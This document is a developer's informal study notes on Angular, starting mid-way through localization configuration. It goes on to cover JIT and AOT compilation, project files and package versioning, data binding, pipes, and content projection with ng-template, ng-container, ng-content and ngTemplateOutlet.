"de": { "browserTarget": "internationalisation:build:de" }
}
}
6. SERVE
- ng serve --configuration=fr
- ng serve --configuration=de
BUILD
creates localized build for all supported languages `dist\PROJECT_NAME\en-US`,`dist\PROJECT_NAME\de`,`dist\PROJECT_NAME\fr`
- ng build --prod --localize
JIT / AOT
===================
- In the beginning, a compiler was responsible for turning a high-level language into object code (machine instructions),
which would then be linked into an executable.
- just-in-time (JIT) compilation (also dynamic translation or run-time compilations) is a way of executing computer code
that involves compilation during execution of a program — at run time — rather than prior to execution.
Or stated more simply, it is that the code gets compiled when it is needed, not before runtime.
A just-in-time (JIT) compiler is a feature of the run-time interpreter, that instead of interpreting bytecode every time a method is invoked,
will compile the bytecode into the machine code instructions of the running machine, and then invoke this object code instead.
In JIT, not all the code is converted into machine code initially. Only code that is necessary (used immediately) will be converted into machine code.
Then if a method or functionality called and is not in machine code, then that will also be turned into machine code.
This reduces the burden on the CPU and makes the app render faster because it only uses what is needed.
- ahead-of-time compilation (AOT compilation) is the act of compiling a higher-level programming language such as C or C++, or an
intermediate representation such as Java bytecode or .NET Framework Common Intermediate Language (CIL) code,
into a native (system-dependent) machine code so that the resulting binary file can execute natively.
An ahead-of-time (AOT) compiler converts your code during the build time before the browser downloads and runs that code.
Compiling your application during the build process provides a faster rendering in the browser.
Benefits
---------------
Faster rendering, Fewer asynchronous requests, Smaller Angular framework download size, Detect template errors earlier, Better security
- JIT compilation is the default when you run the `ng build` or `ng serve` CLI commands. This is for development.
For AOT compilation, include the `--prod` or `--aot` option with the `ng build` or `ng serve` command,
NOTE : this parameter is configured in 'angular.json' with `AOT`.
Structure of Angular Application
==========================================
e2e : end to end tests
node_modules : contains node nodules used by angular application (MULTI-REPO) or provides packages to your workspace (MONO-REPO).
src/app : contains components (.html, .ts, .css, -spec.ts)
src/polyfills : compatibility for different browsers.
src/styles.css : define styling classes which can be used by all components in app, like defining global styles.
src/index.html : the starting point, the page which browser reads and loads when running angular app. (contains <selector></selector> for bootstrap component)
src/main.ts : the entry point from a code perpective for your angular app. (contains platformBrowserDynamic().bootstrapModule(AppModule))
angular.json : CLI configuration defaults
1. To change default prefix(app-) for selector value, change `prefix` value under `projects`.
So now, when we create new component, using `ng g c comp-name`, it's selector will be `NEW_PREFIX-comp-name`
2. To configure budget size and optimization strategy for production BUILD
"production": { "budgets": [{ "type": "initial", "maximumWarning": "10mb", "maximumError": "10mb" },
{ "type": "anyComponentStyle", "maximumWarning": "20kb", "maximumError": "25kb" }],
"outputHashing": "all",
"optimization": { "scripts": true, "styles": { "minify": true, "inlineCritical": false }, "fonts": true }
}
3. To configure optimization strategy for production SERVER
"production": { "outputHashing": "media", "optimization": true, "sourceMap": false }
tsconfig.json : typescript configuration
package.json : configures the npm package dependencies ie which libraries will be installed into node_modules plus script rules.
1. ~version : “tilde: freezes major version and minor version(if minor exists, else update minor also), updates bug fixes i.e. 8.3.X”
Eg: ~2.3.5 = 2.3.X | ~2.3 = 2.3.X | ~2 = 2.X.X | ~0.3.5 = 0.3.X | ~0.3 = 0.3.X | ~0 = 0.X.X
^version : “caret: freezes left most NON-ZERO element i.e. 8.X.X”
Eg: ^1.2 = 1.X.X | ^1 = 1.X.X | ^0.0.5 = 0.0.5 | ^0.2.5 = 0.2.X | ^0.0 = 0.0.X | ^0 = 0.X.X
2. dependencies : consists of packages used in project.
`npm i <package name>` , it goes in `dependencies` object.
devDependencies : consists of packages used in project's DEVELOPMENT PHASE only and NOT in production or testing environment.
`npm i <package name> --save-dev` , it goes in `devDependencies` object, like '@angular/cli' for `ng g module <MODULE>`
peerDependencies: specifies that our package is compatible with a particular version of an npm package.
they are only encountered when publishing own package, i.e. code that will be used by other programs.
they are not automatically installed, manually modify package.json file to add a Peer Dependency.
"peerDependencies": { "@angular/common": "^15.2.0", "@angular/core": "^15.2.0" }
package-lock.json : a derivative of package.json which has exact library version(s) you are using for this app.
`npm install` uses 'package-lock.json' (if available) & `yarn install` uses `yarn.lock` (if available)
else 'package.json' to install required dependencies.
A. If lock file is present AND each package is listed in both files(package.json & lock) with SAME VERSION SEMANTICS (^1.1.4 here) i.e.
package.json
---------------
"olympus-components": "^1.1.4",
yarn.lock
---------------
olympus-components@^1.1.4:
version "1.1.7"
the exact version (1.1.7 here) recorded in lock file is installed, and lock file will be unchanged.
Yarn/NPM will NOT check for newer versions from internet.
B. If lock file is absent OR there is mismatch between two files(package.json & lock) in dependencies listed or VERSION SEMANTICS
Yarn/NPM looks for newest versions available from internet that satisfy constraints in package.json. The results are written to lock file
commands will look for "package.json" file which contain dependencies and then load "index.html" file
index.html loads main.ts loads app.module.ts .... so on as below
index.html -- defines the tag to be filled by BOOTSTRAPED ANGULAR component as defined in main.ts
eg:- <app-root> DEFAULT text to be diplayed if ANGULAR component not found </app-root>
main.ts -- defines AppModule (app.module file) in the bootstrapModule()
app.module.ts -- defines @NgModule
-- defines AppComponent (app.component file) ie register all components/modules here
-- new components are declared in "declarations" and "imported" ,
provided they are EXPORTED in their respective ".component.ts" file
NOTE : For a NEW COMPONENT
mkdir component_dir under app dir (default) component OR give path to COMPONENT_NAME
mk comp.component.ts file
mk comp.component.html file
manually declare new component in app.module.ts "declarations"
------OR------
> ng generate component DIR/COMPONENT_NAME/ // this will create a COMPONENT_NAME dir under DIR dir with required files .html, .ts, .css
> ng g c DIR/COMPONENT_NAME/
automatically updates app.module.ts declare new component in "declarations"
app.component.ts -- defines @Component
-- defines the name of selector tag to insert ANGULAR component in any .html
NOTE : This <selector_name></> tag must be written in .html file of that COMPONENT in whose MODULE.ts it is REGISTERED
-- defines TEMPLATE file to be displayed to BROWSER
-- defines css file
-- This class must be EXPORTED for ".module.ts" file to be able to IMPORT and REGISTER it
-- defines variables of class AppComponent to be supplied to its respective TEMPLATE file (.html)
-- INTERPOLATION ie using {{ var }} in .HTML values are supplied dynamically
{{'Title : ' + var}} // hardcoded_str + var
{{'Title : ' + funccall()}} // + function_call()
{{mathematical_expressions}} // eg:- 2*5+6
src={{ var }} // attribute values
// Deactivate INTERPOLATION, using ngNonBindable
<p ngNonBindable>Expression: {{ 3 + 1 }}</p> // Expression: {{ 3 + 1 }}
// Preserve white space
<div ngPreserveWhitespaces> hi panda </div>
-- NOTE : INTERPOLATION is only for STRINGs | for integer,boolean use
PROPERTY BINDING [disabled] = 'VAR-FROM-TS' // use of [] for attr and ' ' for vals
[ngValue] = "option" // [value] is string,whereas with [ngValue] object can be passed
[ngSrc] = "IMAGE_PATH" // <img [ngSrc]="IMAGE_PATH"/> ,does img optimizations
// ! : non-null assertion operator
// When enabled strictTemplates and strictNullChecks, typecheck errors might occur i.e.
// when using async pipe it's possible that there is no value available yet.
// In that case, it still has to return something — which is null,
// this might result in error where Observable is expected to emit non-nullable value.
// To prevent this, use ! for disregarding type incompatibility
// Eg:
<user-detail [user]="user!"></user-detail>
<user-detail [user]="(user$ | async)!"></user-detail> // NOTE: use of () for async pipe
-- EVENT BINDING (click) = 'funccall()' // NOTE : use of () for event and ' ' for func
(input) = 'func($event.target.value)' // send data from DOM to component
-- TWO-WAY DATA BINDING
NOTE : Import { FormsModule } in "app.module.ts" and include in "imports" for two-way
-- No processing.. [(ngModel)] = "var" // set value attribute's val of tag as var from DOM to COMPONENT and vice versa
-- Processing.. (ngModelChange) = "func($event)" // pass value to component , later used by [ngModel]
[ngModel] = "var" // pass to DOM after processing
app.component.html -- displayed to BROWSER
$any() TypeCast Function
===============================
It converts object to an “any” type,
and allows it to act as such in HTML. It’s basically identical to cast we do in component's TS file i.e. VAR: any = {};
Eg: (change)="changeSortCode($any($event)?.target?.value ?? '')" OR {{ $any(myPerson).firstName }}
Misc. Event/Element binding/reference example (similar to `this` in JS)
========================================================================
A. using `$event`
---------------------
In '.comp.html'
- <input matInput type="text" (keyup)="applyFilter($event)" placeholder="search">
In '.comp.ts'
- applyFilter(event: Event) {
const filterValue = (event.target as HTMLInputElement).value;
this.products.filter = filterValue.trim().toLowerCase();
}
B. using Template Reference variables
---------------------------------------
In '.comp.html'
- <input type="text" (keyup)="applyFilter(inputRef)" #inputRef>
In '.comp.ts'
- applyFilter(elem: Element) {
const filterValue = elem.value;
}
PIPES
==================
-- BUILTIN PIPES
---------------- eg:- {{ var | uppercase }}
{{ var | lowercase }}
{{ var | titlecase }}
{{ var | date : "dd/MM/yyyy hh:mm:ss a" }} // var = new Date("2024-10-28T19:00:00+0000");
{{ var | date : "shortTime" }} // converts to local time, by default (29/October/2024 12:30:00 AM)
{{ var | currency : 'EUR' : true }} // show euro symbol
{{ var | currency : 'EUR' : false }} // donot show euro symbol , shows EUR
{{ var | json }} // converts JS object to JSON {"" : ""}
{{ var | percent }} // var = 00.54534 , output = 55%
{{ var | slice : <start> : <end> }} // var = ARRAY , [start_index,end_index)
{{ var | keyvalue }} // iterate over object {} as key val pair. REFER *ngFor section
{{ var | number : '<minDigitsBeforeDecimal>.<minDigitsAfterDecimal>-<maxDigitsAfterDecimal>' }}
-- CUSTOM PIPES
----------------
NOTE : For creating NEW PIPE
manually
----- OR -----
> ng generate pipe PIPENAME
-- CREATE a "PIPENAME.pipe.ts" under it's component dir , use @Pipe and implement PipeTransform with pipeClass , export this class
-- pipeClass implements PipeTransform interface's transform method that accepts input value followed by parameters and returns transformed value.
-- multiple args can be passed to transform function using (colon) '' : '' : ''
-- Import and include it in "declarations" of "app.module.ts"
-- Use [(ngModel)] = "filtervar" in <input> tag.
-- Use in TEMPLATE .html with directives using pipe_symbol (|) PIPENAME : filtervar
-- Example : {{ var | CUSTOM_PIPE : <arg1> : <arg2> | uppercase }}
-- PURE / IMPURE PIPES
-----------------------
-- Pure
- This is DEFAULT pipe , if 'pure' metadata is not specified in @Pipe decorator({})
- BUILTIN pipes are PURE.
- input parameters value determine the output , if input parameters don’t change , output doesn’t change
- can be shared across many usages without affecting the output result
- there’s no internal state , Even though there are two usages in the example template ,
Angular can create only one pipe instance which can be shared between the usages.
-- Impure
- cannot use the input value to determine if the output will change
- cannot be shared because the internal state can be affected from outside
- the same parameters do not guarantee that same output ,
It means that Angular is forced to trigger transform function on a pipe instance on every digest (change detection cycle)
<span>{{v1 | customPipe}}</span>
<span>{{v2 | customPipe}}</span>
- example
@Pipe({
name: 'customPipe',
pure: true // pipe is NOT(default) re-calculated on every change of data. once pipe applied, it needs to re-trigger, say
}) // we need to type in again in filter input, to show data changes that too matches with filter text.
- example
@Pipe({
name: 'customPipe',
pure: false // pipe is re-calculated on every data change, i.e. say we have a filter pipe and we input data
}) // in field to filter, but then a data change happens, matching filter text, so this will show that new data too.
-- Async pipe
- It is an example of impure pipe ,
This pipe has internal state that holds an underlying subscription created by subscribing to the observable passed to the pipe as a parameter
- Because of that Angular has to create a new instance for each pipe usage to prevent different observables affecting each other.
And also has to call transform method on each digest
because even thought the observable parameter may not change the new value may arrive through this observable that needs to be processed by change detection.
- However async pipe unsubscribes itself from observables on 'ngOnDestroy()'
Using PIPES in TS
-----------------------------
import { CurrencyPipe } from '@angular/common';
constructor(private currencyPipe: CurrencyPipe) { }
let formattedValue = this.currencyPipe.transform(VALUE, 'USD');
<ng-template>, <ng-container> and <ng-content>
================================================
- <ng-template></ng-template>
It allows us to conditionally render content using template reference variables(#TEMPLATE-REF-VAR) and structural directives(*ngIf)
- <ng-container></ng-container>
It allows not to have an extra <div> on DOM.
eg: We cannot use two structural directives on one <div>, therefore we can make use of <ng-container> for one and <div> for another.
- <ng-content></ng-content>
It acts as a placeholder for dynamic content from PARENT COMP to CHILD COMP.
a) Single Slot Content Projection
Eg:PARENT-COMP.HTML
------------------
<child-comp>
<div>Child Component Details</div>
</child-comp>
CHILD-COMP.HTML
------------------
<ng-content></ng-content> // NOT REPLACE HERE, since another <ng-content></ng-content> exists
<div>inside child</div>
<ng-content></ng-content> // REPLACE HERE <div>Child Component Details</div>, since it is last <ng-content></ng-content> in file
b) Multi Slot Content Projection
a selector can be ATTRIBUTE (by using ngProjectAs), ID, CLASS
Eg:PARENT-COMP.HTML
------------------
<child-comp>
<div>Child Component Details</div>
<p id="header">Header</p>
<p class="footer">Footer</p>
<ng-container id="header">CONTAINER</ng-container>
<ng-container ngProjectAs="[attrVAR]">CONTAINER ATTR</ng-container>
</child-comp>
CHILD-COMP.HTML
------------------
<ng-content></ng-content> // <div>Child Component Details</div> | anything does not match `select` comes here
<ng-content select="#header"></ng-content> // <p id="header">Header</p> <ng-container id="header">CONTAINER</ng-container>
<ng-content select=".footer"></ng-content> // <p class="footer">Footer</p>
<ng-content select="[attrVAR]"></ng-content> // <ng-container ngProjectAs="[attrVAR]">CONTAINER ATTR</ng-container>
Default content in ng-content (v18)
----------------------------------------
Fallback content to be displayed within a component’s <ng-content> projection when no projected content is available.
<ng-content> DEFAULT CONTENT </ng-content>
<ng-content select=".icon"> DEFAULT CONTENT </ng-content>
*ngTemplateOutlet
=====================
To reuse same code within a template (.HTML) file
Eg:
<ng-container *ngTemplateOutlet="storePillarData"></ng-container>
<ng-container *ngTemplateOutlet="productItems; context: { $implicit: products, cart: cart, showErrorwithIcon: false }"></ng-container>
<ng-template #storePillarData> </ng-template>
<ng-template #productItems let-items let-cartData="cart" let-showError="showErrorwithIcon">
<olympus-plp-item
*ngFor="let item of items"
[productConfig]="item"
[cartInfo]="cartData"
[errorVisible]="showError">
</olympus-plp-item>
</ng-template>